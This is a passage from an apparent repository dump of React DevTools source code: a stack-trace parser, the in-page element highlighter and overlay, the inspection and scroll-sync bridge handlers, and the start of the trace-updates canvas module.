enclosingLine: number =\n        // $FlowFixMe[prop-missing]\n        typeof callSite.getEnclosingLineNumber === 'function'\n          ? (callSite: any).getEnclosingLineNumber() || 0\n          : 0;\n      const enclosingCol: number =\n        // $FlowFixMe[prop-missing]\n        typeof callSite.getEnclosingColumnNumber === 'function'\n          ? (callSite: any).getEnclosingColumnNumber() || 0\n          : 0;\n      const isAsync =\n        // $FlowFixMe[prop-missing]\n        // $FlowFixMe[incompatible-use]\n        typeof callSite.isAsync === 'function' && callSite.isAsync();\n      result.push([\n        name,\n        filename,\n        line,\n        col,\n        enclosingLine,\n        enclosingCol,\n        isAsync,\n      ]);\n    }\n  }\n  collectedStackTrace = result;\n\n  // At the same time we generate a string stack trace just in case someone\n  // else reads it. Ideally, we'd call the previous prepareStackTrace to\n  // ensure it's in the expected format but it's common for that to be\n  // source mapped and since we do a lot of eager parsing of errors, it\n  // would be slow in those environments. We could maybe just rely on those\n  // environments having to disable source mapping globally to speed things up.\n  // For now, we just generate a default V8 formatted stack trace without\n  // source mapping as a fallback.\n  const name = error.name || 'Error';\n  const message = error.message || '';\n  let stack = name + ': ' + message;\n  for (let i = 0; i < structuredStackTrace.length; i++) {\n    stack += '\\n    at ' + structuredStackTrace[i].toString();\n  }\n  return stack;\n}\n\n// This matches either of these V8 formats.\n//     at name (filename:0:0)\n//     at filename:0:0\n//     at async filename:0:0\n//     at Array.map (<anonymous>)\nconst chromeFrameRegExp =\n  /^ *at (?:(.+) \\((?:(.+):(\\d+):(\\d+)|\\<anonymous\\>)\\)|(?:async )?(.+):(\\d+):(\\d+)|\\<anonymous\\>)$/;\n\nconst stackTraceCache: WeakMap<Error, ReactStackTrace> = new WeakMap();\n\nexport function parseStackTrace(\n  error: Error,\n  skipFrames: number,\n): ReactStackTrace {\n  // We can only get structured data out of error objects once. So we cache the information\n  // so we can get it again each time. It also helps performance when the same error is\n  // referenced more than once.\n  const existing = stackTraceCache.get(error);\n  if (existing !== undefined) {\n    return existing;\n  }\n  // We override Error.prepareStackTrace with our own version that collects\n  // the structured data. We need more information than the raw stack gives us\n  // and we need to ensure that we don't get the source mapped version.\n  collectedStackTrace = null;\n  framesToSkip = skipFrames;\n  const previousPrepare = Error.prepareStackTrace;\n  Error.prepareStackTrace = collectStackTrace;\n  let stack;\n  try {\n    stack = String(error.stack);\n  } finally {\n    Error.prepareStackTrace = previousPrepare;\n  }\n\n  if (collectedStackTrace !== null) {\n    const result = collectedStackTrace;\n    collectedStackTrace = null;\n    stackTraceCache.set(error, result);\n    return result;\n  }\n\n  // If the stack has already been read, or this is not actually a V8 compatible\n  // engine then we might not get a normalized stack and it might still have been\n  // source mapped. Regardless we try our best to parse it.\n\n  const parsedFrames = parseStackTraceFromString(stack, skipFrames);\n  stackTraceCache.set(error, parsedFrames);\n  return parsedFrames;\n}\n\nexport function extractLocationFromOwnerStack(\n  error: Error,\n): ReactFunctionLocation | null {\n  const stackTrace = parseStackTrace(error, 1);\n  const stack = error.stack;\n  if (\n    !stack.includes('react_stack_bottom_frame') &&\n    !stack.includes('react-stack-bottom-frame')\n  ) {\n    // This didn't have a bottom to it, we can't trust it.\n    return null;\n  }\n  // We start from the bottom since that will have the best location for the owner itself.\n  for (let i = stackTrace.length - 1; i >= 0; i--) {\n    const [functionName, fileName, line, col, encLine, encCol] = stackTrace[i];\n    // Take the first match with a colon in the file name.\n    if (fileName.indexOf(':') !== -1) {\n      return [\n        functionName,\n        fileName,\n        // Use enclosing line if available, since that points to the start of the function.\n        encLine || line,\n        encCol || col,\n      ];\n    }\n  }\n  return null;\n}\n\nexport function extractLocationFromComponentStack(\n  stack: string,\n): ReactFunctionLocation | null {\n  const stackTrace = parseStackTraceFromString(stack, 0);\n  for (let i = 0; i < stackTrace.length; i++) {\n    const [functionName, fileName, line, col, encLine, encCol] = stackTrace[i];\n    // Take the first match with a colon in the file name.\n    if (fileName.indexOf(':') !== -1) {\n      return [\n        functionName,\n        fileName,\n        // Use enclosing line if available. (Never the case here because we parse from string.)\n        encLine || line,\n        encCol || col,\n      ];\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/views/Highlighter/Highlighter.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type Agent from 'react-devtools-shared/src/backend/agent';\nimport type {HostInstance} from '../../types';\n\nimport {isReactNativeEnvironment} from 'react-devtools-shared/src/backend/utils';\n\nimport Overlay from './Overlay';\n\nconst SHOW_DURATION = 2000;\n\nlet timeoutID: TimeoutID | null = null;\nlet overlay: Overlay | null = null;\n\nfunction hideOverlayNative(agent: Agent): void {\n  agent.emit('hideNativeHighlight');\n}\n\nfunction hideOverlayWeb(): void {\n  timeoutID = null;\n\n  if (overlay !== null) {\n    overlay.remove();\n    overlay = null;\n  }\n}\n\nexport function hideOverlay(agent: Agent): void {\n  return isReactNativeEnvironment()\n    ? hideOverlayNative(agent)\n    : hideOverlayWeb();\n}\n\nfunction showOverlayNative(\n  elements: $ReadOnlyArray<HostInstance>,\n  agent: Agent,\n): void {\n  agent.emit('showNativeHighlight', elements);\n}\n\nfunction showOverlayWeb(\n  elements: $ReadOnlyArray<HTMLElement>,\n  componentName: string | null,\n  agent: Agent,\n  hideAfterTimeout: boolean,\n): void {\n  if (timeoutID !== null) {\n    clearTimeout(timeoutID);\n  }\n\n  if (overlay === null) {\n    overlay = new Overlay(agent);\n  }\n\n  overlay.inspect(elements, componentName);\n\n  if (hideAfterTimeout) {\n    timeoutID = setTimeout(() => hideOverlay(agent), SHOW_DURATION);\n  }\n}\n\nexport function showOverlay(\n  elements: $ReadOnlyArray<HostInstance>,\n  componentName: string | null,\n  agent: Agent,\n  hideAfterTimeout: boolean,\n): void {\n  return isReactNativeEnvironment()\n    ? showOverlayNative(elements, agent)\n    : showOverlayWeb(\n        (elements: $ReadOnlyArray<any>),\n        componentName,\n        agent,\n        hideAfterTimeout,\n      );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/views/Highlighter/Overlay.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {getElementDimensions, getNestedBoundingClientRect} from '../utils';\n\nimport type {Rect} from '../utils';\nimport type Agent from 'react-devtools-shared/src/backend/agent';\n\ntype Box = {top: number, left: number, width: number, height: number};\n\nconst assign = Object.assign;\n\n// Note that the Overlay components are not affected by the active Theme,\n// because they highlight elements in the main Chrome window (outside of devtools).\n// The colors below were chosen to roughly match those used by Chrome devtools.\n\nclass OverlayRect {\n  node: HTMLElement;\n  border: HTMLElement;\n  padding: HTMLElement;\n  content: HTMLElement;\n\n  constructor(doc: Document, container: HTMLElement) {\n    this.node = doc.createElement('div');\n    this.border = doc.createElement('div');\n    this.padding = doc.createElement('div');\n    this.content = doc.createElement('div');\n\n    this.border.style.borderColor = overlayStyles.border;\n    this.padding.style.borderColor = overlayStyles.padding;\n    this.content.style.backgroundColor = overlayStyles.background;\n\n    assign(this.node.style, {\n      borderColor: overlayStyles.margin,\n      pointerEvents: 'none',\n      position: 'fixed',\n    });\n\n    this.node.style.zIndex = '10000000';\n\n    this.node.appendChild(this.border);\n    this.border.appendChild(this.padding);\n    this.padding.appendChild(this.content);\n    container.appendChild(this.node);\n  }\n\n  remove() {\n    if (this.node.parentNode) {\n      this.node.parentNode.removeChild(this.node);\n    }\n  }\n\n  update(box: Rect, dims: any) {\n    boxWrap(dims, 'margin', this.node);\n    boxWrap(dims, 'border', this.border);\n    boxWrap(dims, 'padding', this.padding);\n\n    assign(this.content.style, {\n      height:\n        box.height -\n        dims.borderTop -\n        dims.borderBottom -\n        dims.paddingTop -\n        dims.paddingBottom +\n        'px',\n      width:\n        box.width -\n        dims.borderLeft -\n        dims.borderRight -\n        dims.paddingLeft -\n        dims.paddingRight +\n        'px',\n    });\n\n    assign(this.node.style, {\n      top: box.top - dims.marginTop + 'px',\n      left: box.left - dims.marginLeft + 'px',\n    });\n  }\n}\n\nclass OverlayTip {\n  tip: HTMLElement;\n  nameSpan: HTMLElement;\n  dimSpan: HTMLElement;\n\n  constructor(doc: Document, container: HTMLElement) {\n    this.tip = doc.createElement('div');\n    assign(this.tip.style, {\n      display: 'flex',\n      flexFlow: 'row nowrap',\n      backgroundColor: '#333740',\n      borderRadius: '2px',\n      fontFamily:\n        '\"SFMono-Regular\", Consolas, \"Liberation Mono\", Menlo, Courier, monospace',\n      fontWeight: 'bold',\n      padding: '3px 5px',\n      pointerEvents: 'none',\n      position: 'fixed',\n      fontSize: '12px',\n      whiteSpace: 'nowrap',\n    });\n\n    this.nameSpan = doc.createElement('span');\n    this.tip.appendChild(this.nameSpan);\n    assign(this.nameSpan.style, {\n      color: '#ee78e6',\n      borderRight: '1px solid #aaaaaa',\n      paddingRight: '0.5rem',\n      marginRight: '0.5rem',\n    });\n    this.dimSpan = doc.createElement('span');\n    this.tip.appendChild(this.dimSpan);\n    assign(this.dimSpan.style, {\n      color: '#d7d7d7',\n    });\n\n    this.tip.style.zIndex = '10000000';\n    container.appendChild(this.tip);\n  }\n\n  remove() {\n    if (this.tip.parentNode) {\n      this.tip.parentNode.removeChild(this.tip);\n    }\n  }\n\n  updateText(name: string, width: number, height: number) {\n    this.nameSpan.textContent = name;\n    this.dimSpan.textContent =\n      Math.round(width) + 'px × ' + Math.round(height) + 'px';\n  }\n\n  updatePosition(dims: Box, bounds: Box) {\n    const tipRect = this.tip.getBoundingClientRect();\n    const tipPos = findTipPos(dims, bounds, {\n      width: tipRect.width,\n      height: tipRect.height,\n    });\n    assign(this.tip.style, tipPos.style);\n  }\n}\n\nexport default class Overlay {\n  window: any;\n  tipBoundsWindow: any;\n  container: HTMLElement;\n  tip: OverlayTip;\n  rects: Array<OverlayRect>;\n  agent: Agent;\n\n  constructor(agent: Agent) {\n    // Find the root window, because overlays are positioned relative to it.\n    const currentWindow = window.__REACT_DEVTOOLS_TARGET_WINDOW__ || window;\n    this.window = currentWindow;\n\n    // When opened in shells/dev, the tooltip should be bound by the app iframe, not by the topmost window.\n    const tipBoundsWindow = window.__REACT_DEVTOOLS_TARGET_WINDOW__ || window;\n    this.tipBoundsWindow = tipBoundsWindow;\n\n    const doc = currentWindow.document;\n    this.container = doc.createElement('div');\n    this.container.style.zIndex = '10000000';\n\n    this.tip = new OverlayTip(doc, this.container);\n    this.rects = [];\n\n    this.agent = agent;\n\n    doc.body.appendChild(this.container);\n  }\n\n  remove() {\n    this.tip.remove();\n    this.rects.forEach(rect => {\n      rect.remove();\n    });\n    this.rects.length = 0;\n    if (this.container.parentNode) {\n      this.container.parentNode.removeChild(this.container);\n    }\n  }\n\n  inspect(nodes: $ReadOnlyArray<HTMLElement | Text>, name?: ?string) {\n    // We can't get the size of text nodes or comment nodes. React as of v15\n    // heavily uses comment nodes to delimit text.\n    // TODO: We actually can measure text nodes. We should.\n    const elements: $ReadOnlyArray<HTMLElement> = (nodes.filter(\n      node => node.nodeType === Node.ELEMENT_NODE,\n    ): any);\n\n    while (this.rects.length > elements.length) {\n      const rect = this.rects.pop();\n      // $FlowFixMe[incompatible-use]\n      rect.remove();\n    }\n    if (elements.length === 0) {\n      return;\n    }\n\n    while (this.rects.length < elements.length) {\n      this.rects.push(new OverlayRect(this.window.document, this.container));\n    }\n\n    const outerBox = {\n      top: Number.POSITIVE_INFINITY,\n      right: Number.NEGATIVE_INFINITY,\n      bottom: Number.NEGATIVE_INFINITY,\n      left: Number.POSITIVE_INFINITY,\n    };\n    elements.forEach((element, index) => {\n      const box = getNestedBoundingClientRect(element, this.window);\n      const dims = getElementDimensions(element);\n\n      outerBox.top = Math.min(outerBox.top, box.top - dims.marginTop);\n      outerBox.right = Math.max(\n        outerBox.right,\n        box.left + box.width + dims.marginRight,\n      );\n      outerBox.bottom = Math.max(\n        outerBox.bottom,\n        box.top + box.height + dims.marginBottom,\n      );\n      outerBox.left = Math.min(outerBox.left, box.left - dims.marginLeft);\n\n      const rect = this.rects[index];\n      rect.update(box, dims);\n    });\n\n    if (!name) {\n      name = elements[0].nodeName.toLowerCase();\n\n      const node = elements[0];\n      const ownerName = this.agent.getComponentNameForHostInstance(node);\n      if (ownerName) {\n        name += ' (in ' + ownerName + ')';\n      }\n    }\n\n    this.tip.updateText(\n      name,\n      outerBox.right - outerBox.left,\n      outerBox.bottom - outerBox.top,\n    );\n    const tipBounds = getNestedBoundingClientRect(\n      this.tipBoundsWindow.document.documentElement,\n      this.window,\n    );\n\n    this.tip.updatePosition(\n      {\n        top: outerBox.top,\n        left: outerBox.left,\n        height: outerBox.bottom - outerBox.top,\n        width: outerBox.right - outerBox.left,\n      },\n      {\n        top: tipBounds.top + this.tipBoundsWindow.scrollY,\n        left: tipBounds.left + this.tipBoundsWindow.scrollX,\n        height: this.tipBoundsWindow.innerHeight,\n        width: this.tipBoundsWindow.innerWidth,\n      },\n    );\n  }\n}\n\nfunction findTipPos(\n  dims: Box,\n  bounds: Box,\n  tipSize: {height: number, width: number},\n) {\n  const tipHeight = Math.max(tipSize.height, 20);\n  const tipWidth = Math.max(tipSize.width, 60);\n  const margin = 5;\n\n  let top: number | string;\n  if (dims.top + dims.height + tipHeight <= bounds.top + bounds.height) {\n    if (dims.top + dims.height < bounds.top + 0) {\n      top = bounds.top + margin;\n    } else {\n      top = dims.top + dims.height + margin;\n    }\n  } else if (dims.top - tipHeight <= bounds.top + bounds.height) {\n    if (dims.top - tipHeight - margin < bounds.top + margin) {\n      top = bounds.top + margin;\n    } else {\n      top = dims.top - tipHeight - margin;\n    }\n  } else {\n    top = bounds.top + bounds.height - tipHeight - margin;\n  }\n\n  let left: number | string = dims.left + margin;\n  if (dims.left < bounds.left) {\n    left = bounds.left + margin;\n  }\n  if (dims.left + tipWidth > bounds.left + bounds.width) {\n    left = bounds.left + bounds.width - tipWidth - margin;\n  }\n\n  top += 'px';\n  left += 'px';\n  return {\n    style: {top, left},\n  };\n}\n\nfunction boxWrap(dims: any, what: string, node: HTMLElement) {\n  assign(node.style, {\n    borderTopWidth: dims[what + 'Top'] + 'px',\n    borderLeftWidth: dims[what + 'Left'] + 'px',\n    borderRightWidth: dims[what + 'Right'] + 'px',\n    borderBottomWidth: dims[what + 'Bottom'] + 'px',\n    borderStyle: 'solid',\n  });\n}\n\nconst overlayStyles = {\n  background: 'rgba(120, 170, 210, 0.7)',\n  padding: 'rgba(77, 200, 0, 0.3)',\n  margin: 'rgba(255, 155, 0, 0.3)',\n  border: 'rgba(255, 200, 50, 0.3)',\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/views/Highlighter/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport Agent from 'react-devtools-shared/src/backend/agent';\nimport {hideOverlay, showOverlay} from './Highlighter';\nimport {isReactNativeEnvironment} from 'react-devtools-shared/src/backend/utils';\n\nimport type {HostInstance} from 'react-devtools-shared/src/backend/types';\nimport type {BackendBridge} from 'react-devtools-shared/src/bridge';\nimport type {RendererInterface} from '../../types';\n\n// This plug-in provides in-page highlighting of the selected element.\n// It is used by the browser extension and the standalone DevTools shell (when connected to a browser).\n// It is not currently the mechanism used to highlight React Native views.\n// That is done by the React Native Inspector component.\n\nlet iframesListeningTo: Set<HTMLIFrameElement> = new Set();\nlet inspectOnlySuspenseNodes = false;\n\nexport default function setupHighlighter(\n  bridge: BackendBridge,\n  agent: Agent,\n): void {\n  bridge.addListener('clearHostInstanceHighlight', clearHostInstanceHighlight);\n  bridge.addListener('highlightHostInstance', highlightHostInstance);\n  bridge.addListener('highlightHostInstances', highlightHostInstances);\n  bridge.addListener('scrollToHostInstance', scrollToHostInstance);\n  bridge.addListener('shutdown', stopInspectingHost);\n  bridge.addListener('startInspectingHost', startInspectingHost);\n  bridge.addListener('stopInspectingHost', stopInspectingHost);\n  bridge.addListener('scrollTo', scrollDocumentTo);\n  bridge.addListener('requestScrollPosition', sendScroll);\n\n  let applyingScroll = false;\n\n  function scrollDocumentTo({\n    left,\n    top,\n    right,\n    bottom,\n  }: {\n    left: number,\n    top: number,\n    right: number,\n    bottom: number,\n  }) {\n    if (isReactNativeEnvironment()) {\n      // Not implemented.\n      return;\n    }\n\n    if (\n      left === Math.round(window.scrollX) &&\n      top === Math.round(window.scrollY)\n    ) {\n      return;\n    }\n    applyingScroll = true;\n    window.scrollTo({\n      top: top,\n      left: left,\n      behavior: 'smooth',\n    });\n  }\n\n  let scrollTimer = null;\n  function sendScroll() {\n    if (isReactNativeEnvironment()) {\n      // Not implemented.\n      return;\n    }\n\n    if (scrollTimer) {\n      clearTimeout(scrollTimer);\n      scrollTimer = null;\n    }\n    if (applyingScroll) {\n      return;\n    }\n    const left = window.scrollX;\n    const top = window.scrollY;\n    const right = left + window.innerWidth;\n    const bottom = top + window.innerHeight;\n    bridge.send('scrollTo', {left, top, right, bottom});\n  }\n\n  function scrollEnd() {\n    // Upon scrollend send it immediately.\n    sendScroll();\n    applyingScroll = false;\n  }\n\n  if (\n    typeof document === 'object' &&\n    // $FlowFixMe[method-unbinding]\n    typeof document.addEventListener === 'function'\n  ) {\n    document.addEventListener('scroll', () => {\n      if (!scrollTimer) {\n        // Periodically synchronize the scroll while scrolling.\n        scrollTimer = setTimeout(sendScroll, 400);\n      }\n    });\n\n    document.addEventListener('scrollend', scrollEnd);\n  }\n\n  function startInspectingHost(onlySuspenseNodes: boolean) {\n    inspectOnlySuspenseNodes = onlySuspenseNodes;\n    registerListenersOnWindow(window);\n  }\n\n  function registerListenersOnWindow(window: any) {\n    // This plug-in may run in non-DOM environments (e.g. React Native).\n    if (window && typeof window.addEventListener === 'function') {\n      window.addEventListener('click', onClick, true);\n      window.addEventListener('mousedown', onMouseEvent, true);\n      window.addEventListener('mouseover', onMouseEvent, true);\n      window.addEventListener('mouseup', onMouseEvent, true);\n      window.addEventListener('pointerdown', onPointerDown, true);\n      window.addEventListener('pointermove', onPointerMove, true);\n      window.addEventListener('pointerup', onPointerUp, true);\n    } else {\n      agent.emit('startInspectingNative');\n    }\n  }\n\n  function stopInspectingHost() {\n    hideOverlay(agent);\n    removeListenersOnWindow(window);\n    iframesListeningTo.forEach(function (frame) {\n      try {\n        removeListenersOnWindow(frame.contentWindow);\n      } catch (error) {\n        // This can error when the iframe is on a cross-origin.\n      }\n    });\n    iframesListeningTo = new Set();\n  }\n\n  function removeListenersOnWindow(window: any) {\n    // This plug-in may run in non-DOM environments (e.g. React Native).\n    if (window && typeof window.removeEventListener === 'function') {\n      window.removeEventListener('click', onClick, true);\n      window.removeEventListener('mousedown', onMouseEvent, true);\n      window.removeEventListener('mouseover', onMouseEvent, true);\n      window.removeEventListener('mouseup', onMouseEvent, true);\n      window.removeEventListener('pointerdown', onPointerDown, true);\n      window.removeEventListener('pointermove', onPointerMove, true);\n      window.removeEventListener('pointerup', onPointerUp, true);\n    } else {\n      agent.emit('stopInspectingNative');\n    }\n  }\n\n  function clearHostInstanceHighlight() {\n    hideOverlay(agent);\n  }\n\n  function highlightHostInstance({\n    displayName,\n    hideAfterTimeout,\n    id,\n    openBuiltinElementsPanel,\n    rendererID,\n    scrollIntoView,\n  }: {\n    displayName: string | null,\n    hideAfterTimeout: boolean,\n    id: number,\n    openBuiltinElementsPanel: boolean,\n    rendererID: number,\n    scrollIntoView: boolean,\n    ...\n  }) {\n    const renderer = agent.rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n\n      hideOverlay(agent);\n      return;\n    }\n\n    // In some cases fiber may already be unmounted\n    if (!renderer.hasElementWithId(id)) {\n      hideOverlay(agent);\n      return;\n    }\n\n    const nodes = renderer.findHostInstancesForElementID(id);\n    if (nodes != null) {\n      for (let i = 0; i < nodes.length; i++) {\n        const node = nodes[i];\n        if (node === null) {\n          continue;\n        }\n        const nodeRects =\n          // $FlowFixMe[method-unbinding]\n          typeof node.getClientRects === 'function'\n            ? node.getClientRects()\n            : [];\n        if (\n          typeof node.getClientRects === 'undefined' || // If Host doesn't implement getClientRects, try to show the overlay.\n          (nodeRects.length > 0 && //                      If this is currently display: none, then try another node.\n            (nodeRects.length > 2 || //                    This can happen when one of the host instances is a hoistable.\n              nodeRects[0].width > 0 ||\n              nodeRects[0].height > 0))\n        ) {\n          // $FlowFixMe[method-unbinding]\n          if (scrollIntoView && typeof node.scrollIntoView === 'function') {\n            if (scrollDelayTimer) {\n              clearTimeout(scrollDelayTimer);\n              scrollDelayTimer = null;\n            }\n            // If the node isn't visible show it before highlighting it.\n            // We may want to reconsider this; it might be a little disruptive.\n            node.scrollIntoView({block: 'nearest', inline: 'nearest'});\n          }\n\n          showOverlay(nodes, displayName, agent, hideAfterTimeout);\n\n          if (openBuiltinElementsPanel) {\n            window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 = node;\n            bridge.send('syncSelectionToBuiltinElementsPanel');\n          }\n          return;\n        }\n      }\n    }\n\n    hideOverlay(agent);\n  }\n\n  function highlightHostInstances({\n    displayName,\n    hideAfterTimeout,\n    elements,\n    scrollIntoView,\n  }: {\n    displayName: string | null,\n    hideAfterTimeout: boolean,\n    elements: Array<{rendererID: number, id: number}>,\n    scrollIntoView: boolean,\n  }) {\n    const nodes: Array<HostInstance> = [];\n    for (let i = 0; i < elements.length; i++) {\n      const {id, rendererID} = elements[i];\n      const renderer = agent.rendererInterfaces[rendererID];\n      if (renderer == null) {\n        console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n        continue;\n      }\n\n      // In some cases fiber may already be unmounted\n      if (!renderer.hasElementWithId(id)) {\n        continue;\n      }\n\n      const hostInstances = renderer.findHostInstancesForElementID(id);\n      if (hostInstances !== null) {\n        for (let j = 0; j < hostInstances.length; j++) {\n          nodes.push(hostInstances[j]);\n        }\n      }\n    }\n\n    if (nodes.length > 0) {\n      const node = nodes[0];\n      // $FlowFixMe[method-unbinding]\n      if (scrollIntoView && typeof node.scrollIntoView === 'function') {\n        // If the node isn't visible show it before highlighting it.\n        // We may want to reconsider this; it might be a little disruptive.\n        node.scrollIntoView({block: 'nearest', inline: 'nearest'});\n      }\n    }\n\n    showOverlay(nodes, displayName, agent, hideAfterTimeout);\n  }\n\n  function attemptScrollToHostInstance(\n    renderer: RendererInterface,\n    id: number,\n  ) {\n    const nodes = renderer.findHostInstancesForElementID(id);\n    if (nodes != null) {\n      for (let i = 0; i < nodes.length; i++) {\n        const node = nodes[i];\n        if (node === null) {\n          continue;\n        }\n        const nodeRects =\n          // $FlowFixMe[method-unbinding]\n          typeof node.getClientRects === 'function'\n            ? node.getClientRects()\n            : [];\n        // If this is currently display: none, then try another node.\n        // This can happen when one of the host instances is a hoistable.\n        if (\n          nodeRects.length > 0 &&\n          (nodeRects.length > 2 ||\n            nodeRects[0].width > 0 ||\n            nodeRects[0].height > 0)\n        ) {\n          // $FlowFixMe[method-unbinding]\n          if (typeof node.scrollIntoView === 'function') {\n            node.scrollIntoView({\n              block: 'nearest',\n              inline: 'nearest',\n              behavior: 'smooth',\n            });\n            return true;\n          }\n        }\n      }\n    }\n    return false;\n  }\n\n  let scrollDelayTimer = null;\n  function scrollToHostInstance({\n    id,\n    rendererID,\n  }: {\n    id: number,\n    rendererID: number,\n  }) {\n    // Always hide the existing overlay so it doesn't obscure the element.\n    // If you wanted to show the overlay, highlightHostInstance should be used instead\n    // with the scrollIntoView option.\n    hideOverlay(agent);\n\n    if (isReactNativeEnvironment()) {\n      // Not implemented.\n      return;\n    }\n\n    if (scrollDelayTimer) {\n      clearTimeout(scrollDelayTimer);\n      scrollDelayTimer = null;\n    }\n\n    const renderer = agent.rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n      return;\n    }\n\n    // In some cases fiber may already be unmounted\n    if (!renderer.hasElementWithId(id)) {\n      return;\n    }\n\n    if (attemptScrollToHostInstance(renderer, id)) {\n      return;\n    }\n\n    // It's possible that the current state of a Suspense boundary doesn't have a position\n    // in the tree. E.g. because it's not yet mounted in the state we're moving to.\n    // Such as if it's in a null tree or inside another boundary's hidden state.\n    // In this case we use the last known position and try to scroll to that.\n    const rects = renderer.findLastKnownRectsForID(id);\n    if (rects !== null && rects.length > 0) {\n      let x = Infinity;\n      let y = Infinity;\n      for (let i = 0; i < rects.length; i++) {\n        const rect = rects[i];\n        if (rect.x < x) {\n          x = rect.x;\n        }\n        if (rect.y < y) {\n          y = rect.y;\n        }\n      }\n      const element = document.documentElement;\n      if (!element) {\n        return;\n      }\n      // Check if the target corner is already in the viewport.\n      if (\n        x < window.scrollX ||\n        y < window.scrollY ||\n        x > window.scrollX + element.clientWidth ||\n        y > window.scrollY + element.clientHeight\n      ) {\n        window.scrollTo({\n          top: y,\n          left: x,\n          behavior: 'smooth',\n        });\n      }\n      // It's possible that after mount, we're able to scroll deeper once the new nodes\n      // have mounted. Let's try again after mount. Ideally we'd know which commit this\n      // is going to be but for now we just try after 100ms.\n      scrollDelayTimer = setTimeout(() => {\n        attemptScrollToHostInstance(renderer, id);\n      }, 100);\n    }\n  }\n\n  function onClick(event: MouseEvent) {\n    event.preventDefault();\n    event.stopPropagation();\n\n    stopInspectingHost();\n\n    bridge.send('stopInspectingHost', true);\n  }\n\n  function onMouseEvent(event: MouseEvent) {\n    event.preventDefault();\n    event.stopPropagation();\n  }\n\n  function onPointerDown(event: MouseEvent) {\n    event.preventDefault();\n    event.stopPropagation();\n\n    selectElementForNode(getEventTarget(event));\n  }\n\n  let lastHoveredNode: HTMLElement | null = null;\n  function onPointerMove(event: MouseEvent) {\n    event.preventDefault();\n    event.stopPropagation();\n\n    const target: HTMLElement = getEventTarget(event);\n    if (lastHoveredNode === target) return;\n    lastHoveredNode = target;\n\n    if (target.tagName === 'IFRAME') {\n      const iframe: HTMLIFrameElement = (target: any);\n      try {\n        if (!iframesListeningTo.has(iframe)) {\n          const window = iframe.contentWindow;\n          registerListenersOnWindow(window);\n          iframesListeningTo.add(iframe);\n        }\n      } catch (error) {\n        // This can error when the iframe is on a cross-origin.\n      }\n    }\n\n    if (inspectOnlySuspenseNodes) {\n      // For Suspense nodes we want to highlight not the actual target but the nodes\n      // that are the root of the Suspense node.\n      // TODO: Consider if we should just do the same for other elements because the\n      // hovered node might just be one child of many in the Component.\n      const match = agent.getIDForHostInstance(\n        target,\n        inspectOnlySuspenseNodes,\n      );\n      if (match !== null) {\n        const renderer = agent.rendererInterfaces[match.rendererID];\n        if (renderer == null) {\n          console.warn(\n            `Invalid renderer id \"${match.rendererID}\" for element \"${match.id}\"`,\n          );\n          return;\n        }\n        highlightHostInstance({\n          displayName: renderer.getDisplayNameForElementID(match.id),\n          hideAfterTimeout: false,\n          id: match.id,\n          openBuiltinElementsPanel: false,\n          rendererID: match.rendererID,\n          scrollIntoView: false,\n        });\n      }\n    } else {\n      // Don't pass the name explicitly.\n      // It will be inferred from DOM tag and Fiber owner.\n      showOverlay([target], null, agent, false);\n    }\n  }\n\n  function onPointerUp(event: MouseEvent) {\n    event.preventDefault();\n    event.stopPropagation();\n  }\n\n  const selectElementForNode = (node: HTMLElement) => {\n    const match = agent.getIDForHostInstance(node, inspectOnlySuspenseNodes);\n    if (match !== null) {\n      bridge.send('selectElement', match.id);\n    }\n  };\n\n  function getEventTarget(event: MouseEvent): HTMLElement {\n    if (event.composed) {\n      return (event.composedPath()[0]: any);\n    }\n\n    return (event.target: any);\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/views/TraceUpdates/canvas.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Data} from './index';\nimport type {Rect} from '../utils';\nimport type {HostInstance} from '../../types';\nimport type Agent from '../../agent';\n\nimport {isReactNativeEnvironment} from 'react-devtools-shared/src/backend/utils';\n\n// Note these colors are in sync with DevTools Profiler chart colors.\nconst COLORS = [\n  '#37afa9',\n  '#63b19e',\n  '#80b393',\n  '#97b488',\n  '#abb67d',\n  '#beb771',\n  '#cfb965',\n  '#dfba57',\n  '#efbb49',\n  '#febc38',\n];\n\nlet canvas: HTMLCanvasElement | null = null;\n\nfunction drawNative(nodeToData: Map<HostInstance, Data>, agent: Agent) {\n  const nodesToDraw = [];\n  iterateNodes(nodeToData, ({color, node}) => {\n    nodesToDraw.push({node, color});\n  });\n\n  agent.emit('drawTraceUpdates', nodesToDraw);\n\n  const mergedNodes = groupAndSortNodes(nodeToData);\n  agent.emit('drawGroupedTraceUpdatesWithNames', mergedNodes);\n}\n\nfunction drawWeb(nodeToData: Map<HostInstance, Data>) {\n  if (canvas === null) {\n    initialize();\n  }\n\n  const dpr = window.devicePixelRatio || 1;\n  const canvasFlow: HTMLCanvasElement = ((canvas: any): HTMLCanvasElement);\n  canvasFlow.width = window.innerWidth * dpr;\n  canvasFlow.height = window.innerHeight * dpr;\n  canvasFlow.style.width = `${window.innerWidth}px`;\n  canvasFlow.style.height = `${window.innerHeight}px`;\n\n  const context = canvasFlow.getContext('2d');\n  context.scale(dpr, dpr);\n\n  context.clearRect(0, 0, canvasFlow.width / dpr, canvasFlow.height / dpr);\n\n  const mergedNodes = groupAndSortNodes(nodeToData);\n\n  mergedNodes.forEach(group => {\n    drawGroupBorders(context, group);\n    drawGroupLabel(context, group);\n  });\n\n  if (canvas 